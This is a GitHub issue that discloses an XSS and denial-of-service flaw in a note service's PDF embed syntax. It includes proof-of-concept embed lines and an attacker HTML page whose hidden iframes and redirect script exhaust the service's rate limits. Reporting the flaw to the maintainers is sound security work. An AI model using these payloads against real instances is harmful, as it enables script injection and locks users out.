Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Impropper url embed with PDF leading XSS and DoS #1883

Open
William957-web opened this issue Oct 27, 2024 · 0 comments
Open

Impropper url embed with PDF leading XSS and DoS #1883

William957-web opened this issue Oct 27, 2024 · 0 comments

Comments

@William957-web
Copy link

HackMD can iframe a pdf file through its url like this:

{%pdf https://example.com/meow.pdf%}

However, it doesn't filter the url well and it would lead to a XSS (though couldn't still cookie...)
POC: https://hackmd.io/@Whale120/DEMO_XSS

# what happend anyway
{%pdf https://william957-web.github.io/meow_xss.html%}

What's more?
Attack can construct a simple site like this:

<iframe width="1" height="1" frameborder="1" scrolling="no" vspace="1" hspace="1" marginheight="1" marginwidth="1" src="https://hackmd.io/new">a</iframe>
<iframe width="1" height="1" frameborder="1" scrolling="no" vspace="1" hspace="1" marginheight="1" marginwidth="1" src="https://hackmd.io/@Whale120/iframe_dos_demo">a</iframe>
<script>
  location.href="https://william957-web.github.io/meow_dos.html";
</script>

And iframe the attacker's site:
PoC: https://hackmd.io/@Whale120/iframe_dos_demo

{%pdf https://hackmd.io/@Whale120/iframe_dos_demo%}
{%pdf https://william957-web.github.io/meow_dos.html%}

# whale
The whale is the biggest creature under the sea.
Meowing whale, is that correct?

After a short period of time, users will be unable to add new articles (429 error).
image
image

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant